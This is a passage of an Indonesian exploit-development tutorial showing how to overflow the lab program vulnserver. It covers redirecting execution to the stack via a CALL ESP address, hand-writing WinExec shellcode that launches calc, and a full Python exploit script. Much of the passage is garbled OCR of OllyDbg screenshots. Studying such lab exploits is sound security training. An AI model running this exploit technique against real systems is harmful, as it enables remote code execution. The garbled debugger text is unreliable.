yang artinya eksekusi program selanjutnya akan diarahkan ke stack (esp) di mana di situ terdapat buffer
yang kita kontrol tadi.

Selanjutnya jika kita tekan F7 (perintah untuk melanjutkan eksekusi program), maka eksekusi akan
berhasil kita arahkan ke esp di mana di sana terdapat buffer yang kita kontrol :
Membuat Shellcode Payload

Pada tampilan di atas kita bisa menaruh shellcode kita menggantikan \x90. Karena buffer berukuran
sangat kecil, kita akan membuat shellcode berukuran kecil
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OFE - 0 . o e [ |
Bl x| w|Ipl wij+ H1 | i L|E[M[T|W][H|Cc|/|K[B|R]..[5§] QQJ
BOZZFEOD| 2500 SUE AL, AL
BEZEFERZ| 5B NOP A e —
AEZZFECS| 98 HOP it}
@EZZFECY| 98 HOP B R
BEZZFERS| 98 HOP S A
BE22FERS| 98 HOP S bR
BEZZFECT| 98 HOP e EEEEAE
LELEEY HeE ESI 7rO4CBEG USERSZ. PTOMCEES
] HOE EDI 7FFS5837 ntdl L. vPFS9637
PB22FDAC| o8 HoP i
C @ ES @823 32bit B(FFFEFFEF)
opZIFERDl 22 Hoe F 1 O3 @@l 3bit @FFFFFFFF)
phzeFEREl 22 Hoe A6 S5 6823 22bit @iFFFFFFFF)
sipElE e Z 1 D% 8823 22bit BIFFFFFFFF)
pazefpom o8 hoe S @ FS BE32 32bit TFFDEGEGEIFFF)
e e X R p—
DRzerEEsl 22 Hoe 0 @ LastErr ERROF_SUCCESS (@RABREEE)
@GZZFEES| 9@ HOP EFL @BBEE245 (MO,NEB,E,EE, NS, PE, BE, LE)
aE22FEES| 9@ HOP
5TA empty —UMORM SASA FPESTOPE FrE944AS
DRZEFEET| 22 Hoe 5T1 empty +UHORH 0GP0 POEGEGE6 BASGISER
phzeFpbs 22 Hoe 5TZ empty +UMORM 456C 7rOEEFED FrOSEFED
pozerEes| 22 Hoe ST2 empty +UMORM DE2Z COOOOEDE DODOOOEZ
phzeroeR 22 noe 5T4 empty +UNORM 7AD? DOCABEEE DODOEEGE
5TE empty @, OOEEEAENDO0GGEG4T 404938
BEZZFEEC| 98 HOP STE ety Erh
Qaz2FEEO| 28 rae ET7 empty —UMORM EBB8 B1855E95 7POSCCOT
AEZZFEEE| 98 HOP i) e SO o o
R B e FST @EEE Cond B B BB Err BB BB BB BB (GT)
pRzerECel 22 Hoe FCWl B37F Prec MEAR,64 Hask 11 11 11
@EZZFECZ| 9@ HOP
BEZZFECE| 98 HOP
AEZZFECA| 98 HOP
BEZZFECE| 9@ HOP
BEZZFECE| 98 HOP =
BEZZFECT| 98 HOP
GEZZFECE| 98 HOP
BEZZFECT| 98 HOP
BEZ2FECA| 98 HOP
AEZZFECE| 98 HOP
GEZZFECC| BE98 AO00 EYTE PTR DS: [EAXI,.AL K
AAZZFRECE| GBea A00 EYTE PTE D5: [EAXTLAL

Kita akan membuat shellcode berukuran kecil untuk mengeksekusi calc (program calculator) di sistem
windows tadi.

Membuat Shellcode Mini

Agar shellcode yang kita buat berukuran kecil, kita akan gunakan salah satu fungsi di dalam library
kernel32.dll yaitu : system. Untuk itu kita akan mencari alamat fungsi system di dalam library tersebut
dengan menggunakan arwin :



e+ Command Prompt

C s UINDOWSssystem32 >arwin kerneld2._dll WinExec
arwin — wind? address resolution program — by steve hanna — v.B1
WinExec iz located at Bx77e6fd35% in kernel32._dll

CSUWINDOWS s system3 2>

Dari pencarian dengan arwin di atas kita bisa melihat alamat fungsi system terdapat pada alamat
0x77e6fd35.

Sebelumnya kita perlu menumpuk perintah yang akan kita eksekusi di stack dalam bentuk little endian
(string dibalik) dan harus 4 byte.

String calc berukuran 4 bytes jika kita ubah ke hex perkarakter , langkahnya adalah sebagai berikut :
calc

dibalik menjadi

clac

Dijadikan hex perkarakter menjadi :

\x63\x6C\x61\x63

Ini adalah shellcode yang akan kita gunakan untuk mengeksekusi calc:

0022FBAO 28CO0 SUB AL,AL
0022FBA2 50 PUSH EAX
0022FBA3 68 63616C63  PUSH 636C6163
0022FBA8 8BC4 MOV EAX,ESP
0022FBAA 50 PUSH EAX

0022FBAB BB 35FDE677 MOV EBX, kernel32.WinExec



0022FBB0 FFD3 CALL EBX

Keterangan :

Pada baris pertama kita akan mereset register eax menjadi 0

Pada baris kedua kita tumpuk 0 ke stack

Pada beris ketiga kita tumpuk string calc yang dibalik : \x63\x6C\x61\x63 ke stack

Pada baris keempat kita pindahkan alamat memori yang berisi string calc ke eax

Pada baris kelima kita kembali menumpuk alamat memori dari stack yang berisi string calc ke stack
Pada baris keenam kita isi ebx dengan alamat memori fungsi WinExec

Pada baris ketujuh kita call ebx untuk memanggil alamat memori dari fungsi WinExec.

Sehingga shellcode final kita adalah :

#/usr/bin/python

import socket

junk = "\x28" * 7

eip = "\x59\xae\xe9\x77"

preceed = "\x28\xc0"

system = ("\x50" +

"\x68\x63\x61\x6c\x63"+

"\x8B\xC4" +

"\x50" +

"\xBB\x35\xfd\xe6\x77" +

"\xFF\xD3")

#0x77c28044

shellcode = "\x90" * 50

host = "10.200.0.11"

payload = "HELO " + junk + eip + preceed + system + "\r\n"
s = socket.socket(socket. AF_INET, socket. SOCK_STREAM)
s.connect((host, 4321))

s.send(payload)

Simpan dengan nama calc.py, Sebelum menjalankan exploit di atas, reattach vulnserver dengan gdb
lalu lakukan breakpoint 77e9ae59 yang merupakan alamat memori di kernel32.dll yang berisi instruksi
call esp. Lalu jalankan exploit di atas :
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:‘File Wiew Debug  Options  Window Help

Bl x| win| wijvi ¥4 | 4 LiE[MTIWH[C|/|K[B|R|..[5] i=[i]?]

BOZZFERD| Zorn SUE AL, AL
e — R S —
f0corens 26 eaeleces FUSH 636CE163 i REEEECES
AGZZFERD| GEC4 MU ERR, ESP
BBZZFEAR| SA PUSH_EAX Eg§ ggggﬁggg kernel3Z2.WinExec
pocsEeHEl BB ISFDEGTT HOU EBikerne 32, WinExec S ERaEs :
s e ST C7bdceee usemaz, T7nacers
AEZZFEEC| B0 FRRDBRED OF EA®, BOBARDFS B GHASEER DEEl b THASEEY
S Eirimees (Eces
OOZZFECE| B0 FERDBAGE OR ERX, BEAADFS LW B ) SEehe AR
. F 1l C3@alE 22bit G(FFFFEFFE)
AGZZFECD| GEeE AOD EVTE[ETR D5:[EAXI,AL S e e e
AGZZFECE | Goa42E OO EVTEMETR D5:LEA=I.AL 1 W B R ERERY Bl
gazzrE0Z) O &T0 S @ FS BE38 32nit PFFOEGEELFFF)
AGZ2FEDD | ~7F E6 JG_SHORT B@ZZFEEE R
Bocorenn| obep " | BOD BUTE PTR DS:LEAXI.AL D&
BEZEFEOC| GEE0 AOD EXTE PTR OS:LERRTAL DE Lesdsw EiUESEEEES (EHEEbED
o St ma
AEZZFEEZ| BE0E ADD BYTE PTR DS:[EAX1,AL ) Gty SO S fRiAais areehall
QECEFEES| GDOR ADD BYTE PTR DS:LEAMT, AL ETL empty +UNMORM @EB1 A0O2QA0G GOSE23EA
: ' ETZ empty +UMORM 4580 77OSEFED FrOSEFED
AGZZFEES| GOOE AOD EVTE PTR D5:LEAXI.AL
5TS empty +UMORM G932 GOGOOGEE GODOOOEZ
AGZZFEED| GEeE AOO EVTE PTR D5:LEA=I.AL
pacerbes) Deod FED M FL Mes e ol 5T4 empty +UMORM 7AD? GABOAEER GARCEEEE
o e 8 BE o Brleaet - ——
eeanat| e ADD EVIE FTR DS:[EAX], AL ST? enety ~UHORY EOQ, @197 LE8 FINGEET o 1
FST GEEE Cond BB B A Err B B0 G606 @ (GT)
EEBx= ??ESI—DSE lkernel22.MinErec) Foll B37F Frec MEOR.64  Hask 1131111
Fl Gocorboa| Feclil "oalc”
Address [Hex dump ASCII : R R T :
AEIC000| B0 OO G5 B0 FE EE T FL|esss
AG44Z003 | B6 G5 08 96| G5 B8 DO B8 11...... gazzFEIS) GORO00G0
AEDBEEEE B T T B R ] | oooc =\ 6ezzFESc| TPESAESE|RETURN to kernel32.77E
BE447015| 0 DA B BB B9 PO 0D OB A G
"""" BEZZFEA4| GI6CE163
aa442028| FE FE FF FF| @0 08 80 08 O RD i oe
aa442a23| FF FE FF FF| @0 @8 80 08 Aogandd) Eeamd|, ERLE
BEL4ZE36 81 B0 BE BE B0 GA BE BE| ... SrnELEenELEE
AR44Z033| 05 DD B B 0O DA 0D 0B A (e
AB442646| 08 B8 B8 A8 FF FF FF FF|.... A0=22FEE4| ERROFEE0
QB442043| 03 B8 B9 0@ FF FF FF FF| ... BEZZFEES| EARDFEED0
2pAo BEZZFEEC| EARDFEED0
GG447056| 96 3C 44 86| BS 3C 44 08| £i0.9<0. Aoenda|
Aa4426853| 06 3C 44 06|05 98 00 08 L<0.....
BEZZFECY| EARDFEE0
AG44Z060| GG 05 GE 06|05 G0 B3 98 ...,
AE442063| A8 OR BR A6 O3 GBA A8 08 BazzFBCE)  EAADEGE0 3
AB442676| EQ 2C 44 A6 E4 3C 44 88| =0, Zi0. BEZZFECC| GRGAGH60
oeiil BEZZFEDE| FFFOZ2664
aa442a7e| EZ 3C 44 86 ED 3C 44 08| <0, 4<0. || B822FEDG| FFFD20A4 ]

Saat crast tekan f7 di sini kita bisa melihat isi register eax, ebx dan tumpukan stack sebelum winexec
dipanggil.

Tutup ollydbg dan jalankan ulang vulnserver.exe di mesin windows tadi, Lalu jalankan exploit calc.py
dari kali linux, maka pada mesin target kita bisa melihat program calculator (calc) berhasil dijalankan
yang berarti shellcode kita dieksekusi dengan sukses (exploitasi berhasil ) :



Keterangan :

| .OHea-c @ Dec (0Oct ) Bin &) Degrees 2 Radians ) Grads

[ inw [IHwp l_ l_ [Backspace] [ CE ] [ [ ]
[se] (=] ] (o) [FJ(e s J[r J[tee][lone]

" [eme J{Eew ][ m ] [mn] [+ ][ s ][ e J[ - J[ o ][]

Lon JLe J e ) [ws] [0 2 J[ s J[ J[een][net]

[oos J e ) (o] (o J I I =]

(=120 )

Tampilan di atas saat eksploitasi kita berhasil, maka program calculator akan berhasil kita spawn
dengan sukses di mesin windows.



